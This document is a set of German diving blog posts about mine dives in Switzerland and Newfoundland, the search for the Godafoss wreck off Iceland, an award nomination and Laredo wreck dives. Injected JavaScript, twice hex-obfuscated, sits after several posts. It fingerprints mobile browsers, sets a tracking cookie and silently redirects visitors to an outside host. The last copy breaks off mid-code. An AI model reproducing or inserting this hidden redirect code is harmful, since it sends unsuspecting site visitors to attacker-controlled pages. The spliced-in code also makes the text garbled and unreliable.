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  • Ein Tauchgang im Besucherbergwerk Gonzen in der Schweiz

    Das Tauchen in alten Bergwerken ist immer etwas ganz besonderes und fasziniert mich inzwischen fast genauso wie das Wracktauchen. Nachdem ich mir in den letzten Jahren schon viele Minen und Bergwerke in und ausserhalb Europas ansehen durfte wurde es Zeit sich auch mal in der Schweiz nach geeigneten Objekten umzusehen.

    Fündig geworden bin ich gar nicht so weit weg von meinem Zuhause, in der Nähe von Sargans. Dort gibt es ein 1966 stillgelegtes Eisenerz Bergwerk. Es wird als Besucherbergwerk genutzt und ist riesig. 90 Kilometer Stollen verlaufen im Berg. Vor mindestens 2000 Jahren begann der Abbau auf 1500 Höhenmetern.

    Nach sehr freundlichem Email Verkehr mit dem Vorstand des Bergwerkvereins bekam ich eine einmalige Sondergenehmigung für einen Tauchtag im Bergwerk Gonzen.

    Wir legten den Termin auf den 15.08. fest. Wir hatten nur sehr wenige Informationen über das, was uns erwarten würde. Wir fanden 2 Videos in Youtube die uns aber nicht wirklich auf die Realität vorbereiten konnten. Darum teilten wir unsere Gruppe in 2 Teams. Das erste Team bestand aus Tom Baier und Stefan Pape, sie bereiteten sich auf einen Tauchgang bis in eine Tiefe von 100 m vor. Sandra Vollmar und ich bildeten das 2. Team. Wir wollten den Pumpenraum auf ca 50m in Augenschein nehmen.

    Die Betreuung von den Mitgliedern des Bergwerkvereins war fantastisch!!! Wir trafen uns mit unseren 3 Führern um 9:00 vor dem Bergwerk. Ausserdem begleitete uns ein Team vom Schweizer Fernsehen. Unsere Ausrüstung wurde auf Paletten verladen und so zum kleinen Bahnhof im Bergwerk transportiert. Dort kam alles in eine kleine Bergwerksbahm. Mit dieser Bahn fuhren wir ca 1,8KM in den Berg hinein zum Einstieg.

    Die Wasseroberfläche war mit einem sehr dicken braunen Bakterienteppich überzogen, den unsere Bergwerksführer zum Teil abschöpften.Es gab zwei Möglichkeiten ins Wasser zu kommen. Sehr bequem konnte man am Bremsberg gerade ins Wasser laufen. Oder ein paar Meter weiter versuchen sich in ein ziemlich schmales Loch hineingleiten zu lassen. Wir entschieden uns zunächst für das Loch, da es an dieser Stelle schon knapp 3 Meter tief war. Wir wollten vermeiden zuviel Sediment aufzuwirbeln, da dies sehr schnell eine null-Sicht Situation bis in grössere Tiefen bedeutet hätte. Stefan ging zuerst. das Loch war sehr eng. Schon sein vorsichtiges ins Wasser gleiten erzeugte eine Bewegung des Wassers das im flachen Teil, der ja nur ca 2m entfernt war, dermassen viel Sediment aufwirbelte, dass die Sicht dahin war. Tom und Stefan starteten ihren Tauchgang. Stefan kam nach wenigen Minuten zurück. Er hatte seine Kamera verloren und ihm war fast sofort übel vom Schwefelwasserstoff-Geruch des Wassers. Beim Suchen nach der Kamera, an der sich auch Tom beteiligte, wurde noch mehr Sediment aufgewirbelt. Stefan entschied sich, nachdem Tom die Kamera gefunden hatte, keinen 2. Versuch zu wagen. Tom, der dafür ausgebildet ist, ging alleine. Sein Ziel war ein bisher noch nicht betauchtes Teilstück auf 100m. Sandra und ich machten uns nun ebenfalls fertig und starteten den Tauchgang. Wir tasteten uns bei null- Sicht hinunter bis auf 25m. Auch dort war die Sicht noch so schlecht, dass wir die Computer nur ablesen konnten wenn wir sie direkt ans Maskenglas drückten. Den Lampenschein unseres Buddies konnten wir nicht sehen. Auf 25m führte ein Missverständnis beim Touch Contact Zeichen geben dazu, dass wir unseren Tauchgang abbrachen. Beide waren wir davon überzeugt, dass der Andere nicht mehr weiter wollte.

    Tom war der einzige von unserer Gruppe, der sein Ziel erreichte. Er ging bis auf eine Tiefe von 115m und hatte ein fantastisches Taucherlebnis. Er fand eine Brücke mit Lohren und soetwas wie einen kleinen Bahnhof. Die Sicht war ab ca35m gut.

    Das Ergebnis war sicher nicht zufriedenstellend. Aber wir sind alle gesund wieder aus dem Bergwerk gekommen und hatten trotz allem einen schönen Tag.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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  • Nominiert für den EUROTEK 2016 Media AWARD

    Ich wurde für den EUROTEK 2016 MEDIA AWARD nominiert. Das ist eine große Ehre und ich freue mich sehr darüber! Nicht nur dass ich mit solchen  internationalen Größen wie Richie Kohler und Jill Heinerth auf der Nominierungsliste stehe, bin ich auch auf der gesamten Nominierungsliste die einzige aus dem deutschsprachigen Raum.Ein Freund meinte ich hätte eine ähnliche Ausgangssituation wie Island in der Fussball Europameisterschaft.

    Das Motto für mich muss also lauten:

    Dabei sein ist alles 🙂

    Ich freue mich über jede Stimme 🙂  🙂

    Das ist der Link zum Voting:

    https://www.surveymonkey.co.uk/r/CX7JFD5

     

    Rosemary E Lunns Foto.

    Sabine Kerkau – nominated for the ‪#‎EUROTEK‬.2016 ‪#‎Media‬ ‪#‎Award‬

    „An advanced or technical diving cinematographer, writer, film, programme (radio, television, cinema, on-line) or publication (book, magazine – printed or e-media) that has educated, inspired or influenced your diving“.

    https://www.surveymonkey.co.uk/r/CX7JFD5

    Voting closes on the 31st August 2016.

     

     

     

     

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  • Nichts ist für immer verloren

    Nothing is lost forever! Das war die Überschrift für eine Projektidee die vor ca drei ein halb Jahren entstand. Ziel dieses Projektes sollte es sein das Wrack der Godafoss zu finden. Bei der Godafoss handelte es sich um einen kleinen isländischen Passagierfrachter, der  am 10.11.1944 von dem Deutschen U Boot U 300, nur wenige Seemeilen entfernt von seinem Heimathafen Reykjavik, torpediert und versenkt wurde. Der Untergang der Godafoss hat für Island eine ähnlich hohe dramatische Bedeutung wie der Untergang der Titanic für den Rest der Welt. Auch heute noch, mehr als 70 Jahre später, ist dieses Drama nicht vergessen. Das erst 2011 in deutscher und isländischer Sprache erschienene Buch GODAFOSS (Ankerherz Verlag) zeugt davon.

    Dieses Buch und die Tatsache, dass das Wrack der Godafoss immer noch nicht gefunden wurde gaben den Anstoß zu unserem Projekt.

    Der Start war holprig, mehrfach änderte sich die Zusammensetzung des Teams. Immer wieder sah es so aus, als wäre dieses Projekt nicht realisierbar, was zum einen an Kommunikationsmissverständnissen und zum Anderen an den Organisationsschwierigkeiten vor Ort lag.

    Dieses Jahr im Juli war es dann endlich soweit, das Team, bestehend aus Thomas Weyer (Leiter des deutschen Teams), Oliver Perschke, Tom Baier, Lorenz Marovic und Sabine Kerkau, machte sich auf den Weg nach Island. Im Gepäck hatten wir neben unseren Rebreathern und einer umfangreichen Foto und Videoausrüstung auch ein sehr gutes Side Scan Sonar. Und mit Lorenz Marovic (Manta Diving,
    Lorenz Marovic, www.crodive.info )
    , der extra für dieses Projekt aus Kroatien angereist war, hatten wir  einen der erfahrensten Experten für die Bedienung und Auswertung dieses Gerätes im Team. Trotzdem konnten wir keinesfalls sicher sein, dass unsere Expedition Erfolg haben würde. Immerhin waren wir nicht die Ersten die sich auf die Suche nach der Godafoss machten. Selbst die Küstenwache hatte einige Jahre zuvor keinen Erfolg.

    Auf Island erwartete uns Gunnar A Birgisson. Gunnar sucht seit fast 20 Jahren nach der Godafoss. Inzwischen ist er sogar der Besitzer des Wracks.

    Expeditionstag 1: Ankunftstag

    Die wichtigste Aufgabe an diesem Tag war ein Treffen mit unserem Kapitän und eine Begutachtung des gemieteten Bootes. Wir mussten sichergehen, dass es für unsere Scantätigkeiten geeignet war. Außerdem wurde mit Birgir Skulason, unserem Kapitän ein Zeitplan besprochen. Im Juli ist es fast 24 Stunden hell auf Island. Dies ermöglichte uns unsere Ausfahrten so zu planen wie es von Wind und Strömungsbedingungen am günstigsten erschien. Unsere erste Ausfahrt sollte am Folgetag um 18:00 stattfinden, da tagsüber ein sehr starker Wind vorhergesagt wurde.

    Expeditionstag 2: 1.Tag auf See

    Am Vormittag richteten wir unsere Ausrüstung her. Im Anschluss suchten wir die Orte auf, an denen Zeugen den Untergang der Godafoss beobachtet hatten, um uns eine Vorstellung von den Entfernungen und dem möglichen Zielgebiet machen zu können.

    Unser Boot war ein 6 Meter langes RIB. Das bedeutete wir hatten sehr wenig Platz. Das Team entschied daher nur eine Tauchausrüstung mit an Bord zu nehmen. Sollten wir bei den Scans fündig werden, dann würde Tom einen kurzen Scouttauchgang machen. Er sollte überprüfen, ob es sich bei dem gefundenen Objekt tatsächlich um ein Wrack oder Trümmerteile handelte oder ob es nur Steine waren. Im Erfolgsfall hatte er den Auftrag eine Boje zu befestigen. Im Anschluss wollten wir zurück in den Hafen fahren und unsere Ausrüstung holen, um dann mit den weiteren Untersuchungen am Wrack fortzufahren. Soweit der Plan. Im Suchgebiet angekommen wurden auf Wunsch von Thomas und Gunnar erst einmal einige Punkte gescannt, die ihrer Meinung nach am erfolgversprechendsten schienen, leider erfolglos. Im Anschluss ließ Lorenz den Kapitän ein gleichmäßiges Suchmuster abfahren. Mit einer Geschwindigkeit von 2 Knoten zog er seine Bahnen. Dies war nicht immer ganz einfach, da die Strömung in diesem Gebiet extrem sein kann. Wir waren ca 5 Stunden auf dem Wasser, als sich die Bedingungen von einer Minute auf die andere dramatisch veränderten. Starker Wind kam auf und fast gleichzeitig wurde es sehr wellig. Wir mussten abbrechen und hatten eine raue Fahrt zurück in den Hafen.

    Expeditionstag 3 und 4

    An beiden Tagen konnten wir nicht hinausfahren. Wir nutzten die Gelegenheit zu einem Tauchgang in Silfra, der Spalte, die es einem ermöglicht bei einem Tauchgang gleichzeitig den europäischen und den Nordamerikanischen Kontinent zu berühren.

    Expeditionstag 5: 2. Tag auf See

    Ein perfekter Tag! Flaches Wasser und Sonnenschein. Nachdem der erste Tag erfolglos war überdachten wir unser Suchgebiet. Wir begannen etwas näher an der Küste zu suchen. Wieder drehten wir Stunde um Stunde unsere Kreise, ohne dass Lorenz etwas Interessantes auf dem Bildschirm erkennen konnte. Das sanfte Schaukeln des langsam vor sich hinfahrenden Bootes hatte uns alle schläfrig gemacht. Plötzlich gab es ein stark vibrierendes Geräusch und ehe jemand reagieren konnte war unser Towfish nicht mehr da. Das Kabel war in den Propeller geraten und durchtrennt worden. Was dann folgte war für unsere isländischen Freunde fast ein Wunder. Lorenz reagierte sofort und warf eine vorher präparierte Boje ins Wasser. Tom war in Rekordzeit in seinem Gerät und im Wasser. Trotz der extrem widrigen Bedingungen: Strömung, Dunkelheit und schlechte Sicht, dauerte es keine 5 Minuten bis er den Scanner gefunden hatte. Mit seinem Hebesack brachte er ihn zurück an die Oberfläche. Unsere Isländischen Freunde waren inzwischen in heller Aufregung und rechneten damit ihn und den Towfish nie wieder zu Gesicht zu bekommen. Das brachte Tom dann den Beinamen Tom the ROV ein. Unseren Scanner hatten wir zwar wieder, aber das Kabel war nicht mehr zu gebrauchen. Glücklicherweise kannte Gunnar jemanden der es reparieren konnte. Es kostete uns 5 Stunden. Am Abend konnten wir unsere Suche fortsetzen. Aber auch dieser Tag war nicht erfolgreich.

    Expeditionstag 6: 3. Tag auf See

    Wieder hatten wir den ganzen Tag perfektes Wetter. Und wieder erweiterten wir unser Suchgebiet. Und an diesem Tag, nach fast 10 Stunden auf dem Wasser, hatten wir Erfolg. Lorenz hatte etwas gefunden. Aber, gerade als er dem Kapitän Anweisung gab die Stelle noch einmal zu überfahren, traf uns eine Welle so unglücklich, dass ein Wasserschwall den GPS Empfänger erwischte und damit dem Computer lahmlegte. Wir mussten erneut abbrechen. Daheim am Computer wertete Lorenz den Scan aus und was wir auf dem Bildschirm sahen ließ unsere Herzen höher schlagen und raubte uns den Atem. Da war sie!! Wir waren uns ganz sicher: Vor uns lag die Godafoss.

    Expeditionstag 7: 4.Tag auf dem Wasser

    Unser letzter Expeditionstag war angebrochen. Lorenz hatte die genauen GPS Daten der Fundstelle ermitteln können. Der Scanner blieb an Land und unsere vier Tauchausrüstungen kamen endlich aufs Boot. Der Plan war dass wir die ermittelte Position anfahren wollten. Der Kapitän sollte dann mit seinem Scanner das Wrack orten und Tom sollte runtergehen und eine Leine befestigen. Wenn er das Wrack gefunden und die Leine befestigt hatte, dann würden Oliver, Thomas und ich zum Wrack abtauchen. Jeder von uns hatte seine festen Aufgaben. Soweit, so gut. Unser  Tauchgang sollte möglichst beim Gezeitenwechsel stattfinden, um die Strömung so gering wie möglich zu halten. Am vermeintlichen Tauchplatz suchte der Kapitän und fand auch schnell etwas. Tom tauchte ab, fand aber nur einen gigantischen Schwarm Fisch. Das wiederholte sich noch zweimal, dann war das Zeitfenster für Tauchgänge geschlossen und wir mussten auf den nächsten Gezeitenwechsel warten. Zunächst verstand keiner von uns was geschehen war. Wir hatten das Wrack doch alle auf dem Scan gesehen und an der richtigen Position waren wir auch! Was war hier los?

    Lorenz nahm sich den Scan noch einmal vor und studierte ihn genau und plötzlich ergab alles einen Sinn. Nun war klar, warum noch niemand das Wrack entdeckt hatte. Der Scan zeigte eindeutig, dass Wrack und Meeresboden auf der gleichen Tiefe lagen. Dies konnte nur bedeuten, dass das Wrack unter dem Sand verborgen liegt. Beim nächsten Gezeitenwechsel wollten wir unsere Theorie überprüfen, soweit dies möglich war. Wir führten den Tauchgang genau an der Stelle durch, die Lorenz ermittelt hatte und fanden eine riesige, fast ebene Sandfläche. Wir sind uns sehr sicher, dass die Godafoss unter dem Sand ihre letzte Ruhestätte gefunden hat. Eine hundert prozentige Sicherheit wäre nur möglich, wenn man das Wrack ausgraben würde. Für mich und unser Team ist das Projekt Godafoss mit diesem Ergebnis erfolgreich beendet.

    In den zwei Tagen nach dem Projekt haben wir uns an Land noch mit der Geschichte des Untergangs beschäftigt. Wir haben Gräber besucht und mit Einheimischen gesprochen und es war sehr bewegend zu erfahren, dass diese Tragödie immer noch allgegenwärtig ist. Viele fanden es gut, dass wir uns mit dieser Geschichte beschäftigt haben und wir wurden gebeten nächstes Jahr wieder zu kommen.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  • Minequest 2

    Im Februar 2016 beginnt ein neues grosses Abenteuer. Ich wurde eigeladen an einem spannenden Explorations Projekt in Newfoundland teilzunehmen.

    Ziel dieses Projektes ist die stillgelegte Eisenerzmine auf Bell Island, in der Mitte der Conception Bay South, zu erforschen und aus ihr ein „Museum unter Wasser“ zu machen.  Rick Stanley, der Besitzer von Ocean Quest Advantures, hat für diese Projekt die „Creme de la Creme“ der Höhlentaucher eingeladen. Unter anderem sind Jill Heinerth, Steve Lewis, Phil Short, Gemma Smith, Cas Dobbin, John Olivero, Dawn Kernagis, Robert Osborne, Robert Macclellan, Neal Pollock, Rick Stanley und einige mehr Dabei. Neal Pollock wird als Research Director von Divers Alert Network (DAN) zusammen mit seinem Team diverse Untersuchungen und Tests nach den Tauchgängen durchführen.

    Das Team wird in mehrere Tauchteams aufgeteilt. Wir werden die Aufgabe haben alles zu filmen, zu fotografieren und damit zu dokumentieren. Zusetzlech werden wir Kartenmaterial erstellen und permanente Leinen verlegen.

    Rick Stanley und sein Team sind schon seit Wochen damit beschäftigt die Mine für uns vorzubereiten und die Logistik zu organisieren.

    Unser Team hat in der letzten Woche 2 Telefon Konferenzen abgehalten dabei ging es unter anderem um die Absprache der Aufgabenverteilung, Bailoutstrategien, mögliches Sponsoring. Dieses Projekt wird von öffentlichen Stellen unterstützt. Es ist ein grossartiges Projekt, sicher das professionellste, bei dem ich bisher dabei sein durfte. Aber dieses Projekt wäre nichts ohne Rick Stanley.

    Jill hat in den letzten Tagen auch ein Logo für unsere Expedition erstellt.

    Wir werden noch einiges vorbereiten müssen, freuen uns aber alle schon sehr auf diese Projekt, dass am 14.02. starten wird.

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  • Neufundland Juli 2015

    Anfang Juli 2015 folgte ich einer Einladung von Jill Heinerth nach Neufundland. Wir trafen uns im Ocean Quest Adventure Resort von Rick Stanley in der Conception Bay south.

    Diese Woche in Neufundland war DIE Überraschungswoche des Jahres 2015. Ich dachte, dass an die Traumreise in die Antarktis nichts herankommen könnte, doch Neufundland hat mich schlichtweg umgehauen.

    In der Conception Bay South gibt es eine kleine Insel, Bell Island. Auf der Insel befindet sich eine stillgelegte Eisenerzmine. Das in der Mine geschürfte Eisenerz wurde mit Frachtern weiter transportiert. Bis 1939 hat auch Deutschland Eisenerz aus dieser Mine bezogen.

    1942 wurden vier dieser Frachter bei zwei Überraschungsangriffen durch deutsche U Boote versenkt. Damit war der 2. Weltkrieg auch in der verschlafenen kleinen Bucht in Kanada angekommen. Noch heute ist dieses dramatische Ereignis sehr präsent.

    Die Wracks der vier Erzfrachter, SS Saganaga, SS Lord Strathcona, SS Rose Castle und PLM 27 liegen in Tiefen zwischen 17 und 46 Meter Tiefe. Das Wasser ist Anfang Juli noch recht kalt, maximal 5°C. Die Sichtweiten sind sehr gut, 20+m. Alle vier Wracks sind wunderschön bewachsen.

    Die Wracks sind gut erhalten, es gibt viele Details zu entdecken. Es wird sehr darauf geachtet, dass Taucher nichts von den Wracks entfernen.

    Bei einem unserer Tauchgänge an der SS Rose Castle fiel uns ein Sextant auf, der neben dem Wrack lag. Da wir ihn nicht mitnehmen durften, ihn aber auch nicht so ungeschützt liegen lassen wollten, fragten wir Rick um Rat. Rick setzte sich mit dem Museum in St John´s in Verbindung und fragte nach, ob wir den Sextanten bergen und dem Museum übergeben dürften. Das Museum gab seine Einwilligung und wir brachten das historisch wertvolle Stück zwei Tage später mit an die Oberfläche und übergaben es nur einige Stunden an das Museum.

    Erwähnen muss ich auch noch das fantastische Tauchschiff, mit dem die Wracks angefahren werden. Es hat alles, was sich ein technischer Taucher wünschen kann, sogar einen Lift. Kapitän Bill ist bekannt für seine Eintöpfe, die er jeden Tag für die Taucher zubereitet. Sie sind wahnsinnig lecker und nach zwei Tauchgängen in dem kalten Wasser eine Wohltat.

    Schon die Wracks sind eine Reise in die Conception Bay South wert. Aber das ist noch lange nicht alles, was den Besucher erwartet.Die Landschaft und die Tierwelt an Land sind ebenfalls fantastisch.

    Im Frühsommer treiben große Eisberge in die Bucht, ein Tauchgang an diesen schmelzenden und sich fortbewegenden Eisriesen ist etwas ganz besonderes. Oft bringen die Eisberge auch Tiere mit. Robben, Wale und sogar schon einmal ein Eisbär wurden gesichtet.

    Aber nicht nur die Eisberge kommen in dieser Jahreszeit. Auch hunderte von Walen, überwiegend Buckelwale, aber auch Belugas und viele mehr kommen an die Küste Neufundlands und damit auch in die Conception Bay South. Sie folgen Bestimmten Fischschwärmen, die ihnen als Nahrung dienen.

    Im Frühsommer ist es an der Küste von Neufundland möglich mit hunderten von Buckelwalen zu schnorcheln und manchmal sogar zu tauchen.

    Ein weiteres Highlight ist die Bell Island Mine. Bei meinem Besuch im Juli gab es erste Erkundungstauchgänge in der Mine. Rick Stanley möchte die Mine für Cave diver zugängig machen. Rick hat sehr viel Arbeit in dieses Projekt gesteckt.

    Im Februar 2016 wird ein Team international bekannter Höhlentaucher die Mine weiter erforschen. Neben Jill Heinerth, Phil Short, Gemma Smith, Steve Levis, Neal Pollok, Dawn Kernagis, John Olivaro, Cas Dobbin, Mark Mcgowan habe auch ich von Rick Stanley eine Einladung zu diesem großartigen Projekt erhalten.

    Ich werde hier über dieses Projekt berichten.

    Bilder und Videos von meiner Neufundland Tour im Juli 2015 werden in Kürze in der „Galerie“ und unter „Video“ zu finden sein.

     

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  • Laredo 2015, Tauchgang an der SS Hochheimer

    Ende Juni 2015 führte mich mein Weg wieder nach Laredo in Spanien. Es gibt kaum einen Ort an dem ich lieber bin. Hier finde ich alles was ich brauche um aufzutanken. Die Landschaft ist wunderschön und die Tauchplätze, besonders die Wracks, sind spektakulär und nur einer Hand voll Leuten bekannt. Hier ist der Satz „Tauchen mit Freunden“ kein leeres Wort. Wenn ich mit Joseba Alberdi und Alberto Marin von Mundo Submarino unterwegs bin, dann sind das für mich immer ganz besondere Tauchgänge.

    In diesem Jahr haben wir nicht nur die Genoveva Fierro, die Andra und die Espana betaucht, über diese Wracks habe ich hier früher schon einiges gepostet. Das Highlight dieses Jahres war ein Tauchgang an der SS Hochheimer. Alles über diesen Tauchgang findet ihr in den „Veröffentlichungen unter dem Titel: Das Nazi Wrack von Bilbao“ oder in der TAUCHEN Ausgabe 09/2015 ebenfalls unter diesem Titel. Bilder aus Laredo gibt es in der Galerie..Videos von Tauchgängen an der Espana und an der Hochheimer gibt es unter „Videos“.

    Auch für 2016 ist Laredo wieder fest eingeplant !!var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a 